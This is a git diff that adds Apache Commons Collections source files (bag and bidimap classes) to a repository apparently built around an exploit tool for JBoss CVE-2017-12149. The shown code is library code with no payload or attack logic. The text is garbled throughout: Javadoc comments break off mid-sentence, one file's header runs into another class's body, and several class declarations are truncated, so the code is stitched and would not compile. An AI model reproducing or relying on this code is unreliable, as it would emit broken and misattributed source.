+ boolean containsAll(Bag other) {
+ boolean result = true;
+ Iterator it = other.uniqueSet().iterator();
+ while (it.hasNext()) {
+ Object current = it.next();
+ boolean contains = getCount(current) >= other.getCount(current);
+ result = result && contains;
+ }
+ return result;
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Gets an iterator over the bag elements.
+ * Elements present in the Bag more than once will be returned repeatedly.
+ *
+ * @return the iterator
+ */
+ public Iterator iterator() {
+ return new BagIterator(this);
+ }
+
+ /**
+ * Inner class iterator for the Bag.
+ */
+ static class BagIterator implements Iterator {
+ private AbstractMapBag parent;
+ private Iterator entryIterator;
+ private Map.Entry current;
+ private int itemCount;
+ private final int mods;
+ private boolean canRemove;
+
+ /**
+ * Constructor.
+ *
+ * @param parent the parent bag
+ */
+ public BagIterator(AbstractMapBag parent) {
+ this.parent = parent;
+ this.entryIterator = parent.map.entrySet().iterator();
+ this.current = null;
+ this.mods = parent.modCount;
+ this.canRemove = false;
+ }
+
+ public boolean hasNext() {
+ return (itemCount > 0 || entryIterator.hasNext());
+ }
+
+ public Object next() {
+ if (parent.modCount != mods) {
+ throw new ConcurrentModificationException();
+ }
+ if (itemCount == 0) {
+ current = (Map.Entry) entryIterator.next();
+ itemCount = ((MutableInteger) current.getValue()).value;
+ }
+ canRemove = true;
+ itemCount--;
+ return current.getKey();
+ }
+
+ public void remove() {
+ if (parent.modCount != mods) {
+ throw new ConcurrentModificationException();
+ }
+ if (canRemove == false) {
+ throw new IllegalStateException();
+ }
+ MutableInteger mut = (MutableInteger) current.getValue();
+ if (mut.value > 0) {
+ mut.value--;
+ parent.size--;
+ } else {
+ entryIterator.remove();
+ }
+ canRemove = false;
+ }
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Adds a new element to the bag, incrementing its count in the underlying map.
+ *
+ * @param object the object to add
+ * @return true
if the object was not already in the uniqueSet
+ */
+ public boolean add(Object object) {
+ return add(object, 1);
+ }
+
+ /**
+ * Adds a new element to the bag, incrementing its count in the map.
+ *
+ * @param object the object to search for
+ * @param nCopies the number of copies to add
+ * @return true
if the object was not already in the uniqueSet
+ */
+ public boolean add(Object object, int nCopies) {
+ modCount++;
+ if (nCopies > 0) {
+ MutableInteger mut = (MutableInteger) map.get(object);
+ size += nCopies;
+ if (mut == null) {
+ map.put(object, new MutableInteger(nCopies));
+ return true;
+ } else {
+ mut.value += nCopies;
+ return false;
+ }
+ } else {
+ return false;
+ }
+ }
+
+ /**
+ * Invokes {@link #add(Object)} for each element in the given collection.
+ *
+ * @param coll the collection to add
+ * @return true
if this call changed the bag
+ */
+ public boolean addAll(Collection coll) {
+ boolean changed = false;
+ Iterator i = coll.iterator();
+ while (i.hasNext()) {
+ boolean added = add(i.next());
+ changed = changed || added;
+ }
+ return changed;
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Clears the bag by clearing the underlying map.
+ */
+ public void clear() {
+ modCount++;
+ map.clear();
+ size = 0;
+ }
+
+ /**
+ * Removes all copies of the specified object from the bag.
+ *
+ * @param object the object to remove
+ * @return true if the bag changed
+ */
+ public boolean remove(Object object) {
+ MutableInteger mut = (MutableInteger) map.get(object);
+ if (mut == null) {
+ return false;
+ }
+ modCount++;
+ map.remove(object);
+ size -= mut.value;
+ return true;
+ }
+
+ /**
+ * Removes a specified number of copies of an object from the bag.
+ *
+ * @param object the object to remove
+ * @param nCopies the number of copies to remove
+ * @return true if the bag changed
+ */
+ public boolean remove(Object object, int nCopies) {
+ MutableInteger mut = (MutableInteger) map.get(object);
+ if (mut == null) {
+ return false;
+ }
+ if (nCopies <= 0) {
+ return false;
+ }
+ modCount++;
+ if (nCopies < mut.value) {
+ mut.value -= nCopies;
+ size -= nCopies;
+ } else {
+ map.remove(object);
+ size -= mut.value;
+ }
+ return true;
+ }
+
+ /**
+ * Removes objects from the bag according to their count in the specified collection.
+ *
+ * @param coll the collection to use
+ * @return true if the bag changed
+ */
+ public boolean removeAll(Collection coll) {
+ boolean result = false;
+ if (coll != null) {
+ Iterator i = coll.iterator();
+ while (i.hasNext()) {
+ boolean changed = remove(i.next(), 1);
+ result = result || changed;
+ }
+ }
+ return result;
+ }
+
+ /**
+ * Remove any members of the bag that are not in the given
+ * bag, respecting cardinality.
+ *
+ * @param coll the collection to retain
+ * @return true if this call changed the collection
+ */
+ public boolean retainAll(Collection coll) {
+ if (coll instanceof Bag) {
+ return retainAll((Bag) coll);
+ }
+ return retainAll(new HashBag(coll));
+ }
+
+ /**
+ * Remove any members of the bag that are not in the given
+ * bag, respecting cardinality.
+ * @see #retainAll(Collection)
+ *
+ * @param other the bag to retain
+ * @return true
if this call changed the collection
+ */
+ boolean retainAll(Bag other) {
+ boolean result = false;
+ Bag excess = new HashBag();
+ Iterator i = uniqueSet().iterator();
+ while (i.hasNext()) {
+ Object current = i.next();
+ int myCount = getCount(current);
+ int otherCount = other.getCount(current);
+ if (1 <= otherCount && otherCount <= myCount) {
+ excess.add(current, myCount - otherCount);
+ } else {
+ excess.add(current, myCount);
+ }
+ }
+ if (!excess.isEmpty()) {
+ result = removeAll(excess);
+ }
+ return result;
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Mutable integer class for storing the data.
+ */
+ protected static class MutableInteger {
+ /** The value of this mutable. */
+ protected int value;
+
+ /**
+ * Constructor.
+ * @param value the initial value
+ */
+ MutableInteger(int value) {
+ this.value = value;
+ }
+
+ public boolean equals(Object obj) {
+ if (obj instanceof MutableInteger == false) {
+ return false;
+ }
+ return ((MutableInteger) obj).value == value;
+ }
+
+ public int hashCode() {
+ return value;
+ }
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Returns an array of all of this bag's elements.
+ *
+ * @return an array of all of this bag's elements
+ */
+ public Object[] toArray() {
+ Object[] result = new Object[size()];
+ int i = 0;
+ Iterator it = map.keySet().iterator();
+ while (it.hasNext()) {
+ Object current = it.next();
+ for (int index = getCount(current); index > 0; index--) {
+ result[i++] = current;
+ }
+ }
+ return result;
+ }
+
+ /**
+ * Returns an array of all of this bag's elements.
+ *
+ * @param array the array to populate
+ * @return an array of all of this bag's elements
+ */
+ public Object[] toArray(Object[] array) {
+ int size = size();
+ if (array.length < size) {
+ array = (Object[]) Array.newInstance(array.getClass().getComponentType(), size);
+ }
+
+ int i = 0;
+ Iterator it = map.keySet().iterator();
+ while (it.hasNext()) {
+ Object current = it.next();
+ for (int index = getCount(current); index > 0; index--) {
+ array[i++] = current;
+ }
+ }
+ if (array.length > size) {
+ array[size] = null;
+ }
+ return array;
+ }
+
+ /**
+ * Returns an unmodifiable view of the underlying map's key set.
+ *
+ * @return the set of unique elements in this bag
+ */
+ public Set uniqueSet() {
+ if (uniqueSet == null) {
+ uniqueSet = UnmodifiableSet.decorate(map.keySet());
+ }
+ return uniqueSet;
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Write the map out using a custom routine.
+ * @param out the output stream
+ * @throws IOException
+ */
+ protected void doWriteObject(ObjectOutputStream out) throws IOException {
+ out.writeInt(map.size());
+ for (Iterator it = map.entrySet().iterator(); it.hasNext();) {
+ Map.Entry entry = (Map.Entry) it.next();
+ out.writeObject(entry.getKey());
+ out.writeInt(((MutableInteger) entry.getValue()).value);
+ }
+ }
+
+ /**
+ * Read the map in using a custom routine.
+ * @param map the map to use
+ * @param in the input stream
+ * @throws IOException
+ * @throws ClassNotFoundException
+ */
+ protected void doReadObject(Map map, ObjectInputStream in) throws IOException, ClassNotFoundException {
+ this.map = map;
+ int entrySize = in.readInt();
+ for (int i = 0; i < entrySize; i++) {
+ Object obj = in.readObject();
+ int count = in.readInt();
+ map.put(obj, new MutableInteger(count));
+ size += count;
+ }
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Compares this Bag to another.
+ * This Bag equals another Bag if it contains the same number of occurrences of
+ * the same elements.
+ *
+ * @param object the Bag to compare to
+ * @return true if equal
+ */
+ public boolean equals(Object object) {
+ if (object == this) {
+ return true;
+ }
+ if (object instanceof Bag == false) {
+ return false;
+ }
+ Bag other = (Bag) object;
+ if (other.size() != size()) {
+ return false;
+ }
+ for (Iterator it = map.keySet().iterator(); it.hasNext();) {
+ Object element = it.next();
+ if (other.getCount(element) != getCount(element)) {
+ return false;
+ }
+ }
+ return true;
+ }
+
+ /**
+ * Gets a hash code for the Bag compatible with the definition of equals.
+ * The hash code is defined as the sum total of a hash code for each element.
+ * The per element hash code is defined as
+ * (e==null ? 0 : e.hashCode()) ^ noOccurances)
.
+ * This hash code is compatible with the Set interface.
+ *
+ * @return the hash code of the Bag
+ */
+ public int hashCode() {
+ int total = 0;
+ for (Iterator it = map.entrySet().iterator(); it.hasNext();) {
+ Map.Entry entry = (Map.Entry) it.next();
+ Object element = entry.getKey();
+ MutableInteger count = (MutableInteger) entry.getValue();
+ total += (element == null ? 0 : element.hashCode()) ^ count.value;
+ }
+ return total;
+ }
+
+ /**
+ * Implement a toString() method suitable for debugging.
+ *
+ * @return a debugging toString
+ */
+ public String toString() {
+ if (size() == 0) {
+ return "[]";
+ }
+ StringBuffer buf = new StringBuffer();
+ buf.append('[');
+ Iterator it = uniqueSet().iterator();
+ while (it.hasNext()) {
+ Object current = it.next();
+ int count = getCount(current);
+ buf.append(count);
+ buf.append(':');
+ buf.append(current);
+ if (it.hasNext()) {
+ buf.append(',');
+ }
+ }
+ buf.append(']');
+ return buf.toString();
+ }
+
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/bag/AbstractSortedBagDecorator.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/bag/AbstractSortedBagDecorator.java"
new file mode 100644
index 0000000..c8d345f
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/bag/AbstractSortedBagDecorator.java"
@@ -0,0 +1,75 @@
+/*
+ * Copyright 2003-2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections.bag;
+
+import java.util.Comparator;
+
+import org.apache.commons.collections.SortedBag;
+
+/**
+ * Decorates another SortedBag
to provide additional behaviour.
+ * Bag
, using a HashMap
to provide the
+ * data storage. This is the standard implementation of a bag.
+ * Bag
stores each object in the collection together with a
+ * count of occurrences. Extra methods on the interface allow multiple copies
+ * of an object to be added or removed at once. It is important to read the
+ * interface javadoc carefully as several methods violate the
+ * Collection
interface specification.
+ *
+ * @since Commons Collections 3.0 (previously in main package v2.0)
+ * @version $Revision: 1.8 $ $Date: 2004/02/18 00:56:25 $
+ *
+ * @author Chuck Burdick
+ * @author Stephen Colebourne
+ */
+public class HashBag
+ extends AbstractMapBag implements Bag, Serializable {
+
+ /** Serial version lock */
+ static final long serialVersionUID = -6561115435802554013L;
+
+ /**
+ * Constructs an empty HashBag
.
+ */
+ public HashBag() {
+ super(new HashMap());
+ }
+
+ /**
+ * Constructs a bag containing all the members of the given collection.
+ *
+ * @param coll a collection to copy into this bag
+ */
+ public HashBag(Collection coll) {
+ this();
+ addAll(coll);
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Write the bag out using a custom routine.
+ */
+ private void writeObject(ObjectOutputStream out) throws IOException {
+ out.defaultWriteObject();
+ super.doWriteObject(out);
+ }
+
+ /**
+ * Read the bag in using a custom routine.
+ */
+ private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
+ in.defaultReadObject();
+ super.doReadObject(new HashMap(), in);
+ }
+
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/bag/PredicatedBag.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/bag/PredicatedBag.java"
new file mode 100644
index 0000000..81cab38
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/bag/PredicatedBag.java"
@@ -0,0 +1,108 @@
+/*
+ * Copyright 2003-2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections.bag;
+
+import java.util.Set;
+
+import org.apache.commons.collections.Bag;
+import org.apache.commons.collections.Predicate;
+import org.apache.commons.collections.collection.PredicatedCollection;
+
+/**
+ * Decorates another Bag
to validate that additions
+ * match a specified predicate.
+ * Bag bag = PredicatedBag.decorate(new HashBag(), NotNullPredicate.INSTANCE);
+ * SortedBag
to validate that additions
+ * match a specified predicate.
+ * SortedBag bag = PredicatedSortedBag.decorate(new TreeBag(), NotNullPredicate.INSTANCE);
+ * Bag
to synchronize its behaviour
+ * for a multi-threaded environment.
+ * SortedBag
to synchronize its behaviour
+ * for a multi-threaded environment.
+ * Bag
to transform objects that are added.
+ * SortedBag
to transform objects that are added.
+ * SortedBag
, using a TreeMap
to provide
+ * the data storage. This is the standard implementation of a sorted bag.
+ * Bag
stores each object in the collection together with a
+ * count of occurrences. Extra methods on the interface allow multiple copies
+ * of an object to be added or removed at once. It is important to read the
+ * interface javadoc carefully as several methods violate the
+ * Collection
interface specification.
+ *
+ * @since Commons Collections 3.0 (previously in main package v2.0)
+ * @version $Revision: 1.9 $ $Date: 2004/02/18 00:56:25 $
+ *
+ * @author Chuck Burdick
+ * @author Stephen Colebourne
+ */
+public class TreeBag
+ extends AbstractMapBag implements SortedBag, Serializable {
+
+ /** Serial version lock */
+ static final long serialVersionUID = -7740146511091606676L;
+
+ /**
+ * Constructs an empty TreeBag
.
+ */
+ public TreeBag() {
+ super(new TreeMap());
+ }
+
+ /**
+ * Constructs an empty bag that maintains order on its unique
+ * representative members according to the given {@link Comparator}.
+ *
+ * @param comparator the comparator to use
+ */
+ public TreeBag(Comparator comparator) {
+ super(new TreeMap(comparator));
+ }
+
+ /**
+ * Constructs a TreeBag
containing all the members of the
+ * specified collection.
+ *
+ * @param coll the collection to copy into the bag
+ */
+ public TreeBag(Collection coll) {
+ this();
+ addAll(coll);
+ }
+
+ //-----------------------------------------------------------------------
+ public Object first() {
+ return ((SortedMap) getMap()).firstKey();
+ }
+
+ public Object last() {
+ return ((SortedMap) getMap()).lastKey();
+ }
+
+ public Comparator comparator() {
+ return ((SortedMap) getMap()).comparator();
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Write the bag out using a custom routine.
+ */
+ private void writeObject(ObjectOutputStream out) throws IOException {
+ out.defaultWriteObject();
+ out.writeObject(comparator());
+ super.doWriteObject(out);
+ }
+
+ /**
+ * Read the bag in using a custom routine.
+ */
+ private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
+ in.defaultReadObject();
+ Comparator comp = (Comparator) in.readObject();
+ super.doReadObject(new TreeMap(comp), in);
+ }
+
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/bag/TypedBag.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/bag/TypedBag.java"
new file mode 100644
index 0000000..c7a9bb9
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/bag/TypedBag.java"
@@ -0,0 +1,60 @@
+/*
+ * Copyright 2003-2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections.bag;
+
+import org.apache.commons.collections.Bag;
+import org.apache.commons.collections.functors.InstanceofPredicate;
+
+/**
+ * Decorates another Bag
to validate that elements added
+ * are of a specific type.
+ * Class
. If an object cannot be added to the
+ * collection, an IllegalArgumentException is thrown.
+ *
+ * @since Commons Collections 3.0
+ * @version $Revision: 1.6 $ $Date: 2004/05/15 12:27:04 $
+ *
+ * @author Stephen Colebourne
+ * @author Matthew Hawthorne
+ */
+public class TypedBag {
+
+ /**
+ * Factory method to create a typed bag.
+ * SortedBag
to validate that elements added
+ * are of a specific type.
+ * Class
. If an object cannot be added to the
+ * collection, an IllegalArgumentException is thrown.
+ *
+ * @since Commons Collections 3.0
+ * @version $Revision: 1.6 $ $Date: 2004/05/15 12:27:04 $
+ *
+ * @author Stephen Colebourne
+ * @author Matthew Hawthorne
+ */
+public class TypedSortedBag {
+
+ /**
+ * Factory method to create a typed sorted bag.
+ * Bag
to ensure it can't be altered.
+ * SortedBag
to ensure it can't be altered.
+ *
+
+
+
+
+
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/bidimap/AbstractBidiMapDecorator.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/bidimap/AbstractBidiMapDecorator.java"
new file mode 100644
index 0000000..0d1c7cd
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/bidimap/AbstractBidiMapDecorator.java"
@@ -0,0 +1,78 @@
+/*
+ * Copyright 2003-2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections.bidimap;
+
+import org.apache.commons.collections.BidiMap;
+import org.apache.commons.collections.MapIterator;
+import org.apache.commons.collections.map.AbstractMapDecorator;
+
+/**
+ * Provides a base decorator that enables additional functionality to be added
+ * to a BidiMap via decoration.
+ * BidiMap
implemented using two maps.
+ * createMap
method.
+ *
+ * @see DualHashBidiMap
+ * @see DualTreeBidiMap
+ * @since Commons Collections 3.0
+ * @version $Id: AbstractDualBidiMap.java,v 1.14 2004/06/22 21:54:35 scolebourne Exp $
+ *
+ * @author Matthew Hawthorne
+ * @author Stephen Colebourne
+ */
+public abstract class AbstractDualBidiMap implements BidiMap {
+
+ /**
+ * Delegate map array. The first map contains standard entries, and the
+ * second contains inverses.
+ */
+ protected transient final Map[] maps = new Map[2];
+ /**
+ * Inverse view of this map.
+ */
+ protected transient BidiMap inverseBidiMap = null;
+ /**
+ * View of the keys.
+ */
+ protected transient Set keySet = null;
+ /**
+ * View of the values.
+ */
+ protected transient Collection values = null;
+ /**
+ * View of the entries.
+ */
+ protected transient Set entrySet = null;
+
+ /**
+ * Creates an empty map, initialised by createMap
.
+ * maps[]
instance variable itself.
+ *
+ * @param normalMap the normal direction map
+ * @param reverseMap the reverse direction map
+ * @since Commons Collections 3.1
+ */
+ protected AbstractDualBidiMap(Map normalMap, Map reverseMap) {
+ super();
+ maps[0] = normalMap;
+ maps[1] = reverseMap;
+ }
+
+ /**
+ * Constructs a map that decorates the specified maps,
+ * used by the subclass createBidiMap
implementation.
+ *
+ * @param normalMap the normal direction map
+ * @param reverseMap the reverse direction map
+ * @param inverseBidiMap the inverse BidiMap
+ */
+ protected AbstractDualBidiMap(Map normalMap, Map reverseMap, BidiMap inverseBidiMap) {
+ super();
+ maps[0] = normalMap;
+ maps[1] = reverseMap;
+ this.inverseBidiMap = inverseBidiMap;
+ }
+
+ /**
+ * Creates a new instance of the map used by the subclass to store data.
+ * MapIterator
over the map.
+ * The iterator implements ResetableMapIterator
.
+ * This implementation relies on the entrySet iterator.
+ * BidiMap
that uses two HashMap
instances.
+ * HashMap
instances are used in this class.
+ * This provides fast lookups at the expense of storing two sets of map entries.
+ * Commons Collections would welcome the addition of a direct hash-based
+ * implementation of the BidiMap
interface.
+ * HashMap
+ * and the flawed createMap
method is ignored.
+ *
+ * @since Commons Collections 3.0
+ * @version $Id: DualHashBidiMap.java,v 1.7 2004/06/11 23:27:37 scolebourne Exp $
+ *
+ * @author Matthew Hawthorne
+ * @author Stephen Colebourne
+ */
+public class DualHashBidiMap
+ extends AbstractDualBidiMap implements Serializable {
+
+ /** Ensure serialization compatibility */
+ private static final long serialVersionUID = 721969328361808L;
+
+ /**
+ * Creates an empty HashBidiMap
.
+ */
+ public DualHashBidiMap() {
+ super(new HashMap(), new HashMap());
+ }
+
+ /**
+ * Constructs a HashBidiMap
and copies the mappings from
+ * specified Map
.
+ *
+ * @param map the map whose mappings are to be placed in this map
+ */
+ public DualHashBidiMap(Map map) {
+ super(new HashMap(), new HashMap());
+ putAll(map);
+ }
+
+ /**
+ * Constructs a HashBidiMap
that decorates the specified maps.
+ *
+ * @param normalMap the normal direction map
+ * @param reverseMap the reverse direction map
+ * @param inverseBidiMap the inverse BidiMap
+ */
+ protected DualHashBidiMap(Map normalMap, Map reverseMap, BidiMap inverseBidiMap) {
+ super(normalMap, reverseMap, inverseBidiMap);
+ }
+
+ /**
+ * Creates a new instance of this object.
+ *
+ * @param normalMap the normal direction map
+ * @param reverseMap the reverse direction map
+ * @param inverseBidiMap the inverse BidiMap
+ * @return new bidi map
+ */
+ protected BidiMap createBidiMap(Map normalMap, Map reverseMap, BidiMap inverseBidiMap) {
+ return new DualHashBidiMap(normalMap, reverseMap, inverseBidiMap);
+ }
+
+ // Serialization
+ //-----------------------------------------------------------------------
+ private void writeObject(ObjectOutputStream out) throws IOException {
+ out.defaultWriteObject();
+ out.writeObject(maps[0]);
+ }
+
+ private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
+ in.defaultReadObject();
+ maps[0] = new HashMap();
+ maps[1] = new HashMap();
+ Map map = (Map) in.readObject();
+ putAll(map);
+ }
+
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/bidimap/DualTreeBidiMap.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/bidimap/DualTreeBidiMap.java"
new file mode 100644
index 0000000..a4b5edf
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/bidimap/DualTreeBidiMap.java"
@@ -0,0 +1,348 @@
+/*
+ * Copyright 2003-2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections.bidimap;
+
+import java.io.IOException;
+import java.io.ObjectInputStream;
+import java.io.ObjectOutputStream;
+import java.io.Serializable;
+import java.util.ArrayList;
+import java.util.Comparator;
+import java.util.Iterator;
+import java.util.ListIterator;
+import java.util.Map;
+import java.util.SortedMap;
+import java.util.TreeMap;
+
+import org.apache.commons.collections.BidiMap;
+import org.apache.commons.collections.OrderedBidiMap;
+import org.apache.commons.collections.OrderedMap;
+import org.apache.commons.collections.OrderedMapIterator;
+import org.apache.commons.collections.ResettableIterator;
+import org.apache.commons.collections.SortedBidiMap;
+import org.apache.commons.collections.map.AbstractSortedMapDecorator;
+
+/**
+ * Implementation of BidiMap
that uses two TreeMap
instances.
+ * TreeMap
+ * and the flawed createMap
method is ignored.
+ *
+ * @since Commons Collections 3.0
+ * @version $Id: DualTreeBidiMap.java,v 1.14 2004/06/11 23:27:37 scolebourne Exp $
+ *
+ * @author Matthew Hawthorne
+ * @author Stephen Colebourne
+ */
+public class DualTreeBidiMap
+ extends AbstractDualBidiMap implements SortedBidiMap, Serializable {
+
+ /** Ensure serialization compatibility */
+ private static final long serialVersionUID = 721969328361809L;
+ /** The comparator to use */
+ protected final Comparator comparator;
+
+ /**
+ * Creates an empty DualTreeBidiMap
+ */
+ public DualTreeBidiMap() {
+ super(new TreeMap(), new TreeMap());
+ this.comparator = null;
+ }
+
+ /**
+ * Constructs a DualTreeBidiMap
and copies the mappings from
+ * specified Map
.
+ *
+ * @param map the map whose mappings are to be placed in this map
+ */
+ public DualTreeBidiMap(Map map) {
+ super(new TreeMap(), new TreeMap());
+ putAll(map);
+ this.comparator = null;
+ }
+
+ /**
+ * Constructs a DualTreeBidiMap
using the specified Comparator.
+ *
+ * @param comparator the Comparator
+ */
+ public DualTreeBidiMap(Comparator comparator) {
+ super(new TreeMap(comparator), new TreeMap(comparator));
+ this.comparator = comparator;
+ }
+
+ /**
+ * Constructs a DualTreeBidiMap
that decorates the specified maps.
+ *
+ * @param normalMap the normal direction map
+ * @param reverseMap the reverse direction map
+ * @param inverseBidiMap the inverse BidiMap
+ */
+ protected DualTreeBidiMap(Map normalMap, Map reverseMap, BidiMap inverseBidiMap) {
+ super(normalMap, reverseMap, inverseBidiMap);
+ this.comparator = ((SortedMap) normalMap).comparator();
+ }
+
+ /**
+ * Creates a new instance of this object.
+ *
+ * @param normalMap the normal direction map
+ * @param reverseMap the reverse direction map
+ * @param inverseMap the inverse BidiMap
+ * @return new bidi map
+ */
+ protected BidiMap createBidiMap(Map normalMap, Map reverseMap, BidiMap inverseMap) {
+ return new DualTreeBidiMap(normalMap, reverseMap, inverseMap);
+ }
+
+ //-----------------------------------------------------------------------
+ public Comparator comparator() {
+ return ((SortedMap) maps[0]).comparator();
+ }
+
+ public Object firstKey() {
+ return ((SortedMap) maps[0]).firstKey();
+ }
+
+ public Object lastKey() {
+ return ((SortedMap) maps[0]).lastKey();
+ }
+
+ public Object nextKey(Object key) {
+ if (isEmpty()) {
+ return null;
+ }
+ if (maps[0] instanceof OrderedMap) {
+ return ((OrderedMap) maps[0]).nextKey(key);
+ }
+ SortedMap sm = (SortedMap) maps[0];
+ Iterator it = sm.tailMap(key).keySet().iterator();
+ it.next();
+ if (it.hasNext()) {
+ return it.next();
+ }
+ return null;
+ }
+
+ public Object previousKey(Object key) {
+ if (isEmpty()) {
+ return null;
+ }
+ if (maps[0] instanceof OrderedMap) {
+ return ((OrderedMap) maps[0]).previousKey(key);
+ }
+ SortedMap sm = (SortedMap) maps[0];
+ SortedMap hm = sm.headMap(key);
+ if (hm.isEmpty()) {
+ return null;
+ }
+ return hm.lastKey();
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Obtains an ordered map iterator.
+ * Comparable
interface.
+ * Comparable
.
+ *
+ * @param key key whose presence in this map is to be tested
+ * @return true if this map contains a mapping for the specified key
+ * @throws ClassCastException if the key is of an inappropriate type
+ * @throws NullPointerException if the key is null
+ */
+ public boolean containsKey(final Object key) {
+ checkKey(key);
+ return (lookup((Comparable) key, KEY) != null);
+ }
+
+ /**
+ * Checks whether this map contains the a mapping for the specified value.
+ * Comparable
.
+ *
+ * @param value value whose presence in this map is to be tested
+ * @return true if this map contains a mapping for the specified value
+ * @throws ClassCastException if the value is of an inappropriate type
+ * @throws NullPointerException if the value is null
+ */
+ public boolean containsValue(final Object value) {
+ checkValue(value);
+ return (lookup((Comparable) value, VALUE) != null);
+ }
+
+ /**
+ * Gets the value to which this map maps the specified key.
+ * Returns null if the map contains no mapping for this key.
+ * Comparable
.
+ *
+ * @param key key whose associated value is to be returned
+ * @return the value to which this map maps the specified key,
+ * or null if the map contains no mapping for this key
+ * @throws ClassCastException if the key is of an inappropriate type
+ * @throws NullPointerException if the key is null
+ */
+ public Object get(final Object key) {
+ return doGet((Comparable) key, KEY);
+ }
+
+ /**
+ * Puts the key-value pair into the map, replacing any previous pair.
+ *
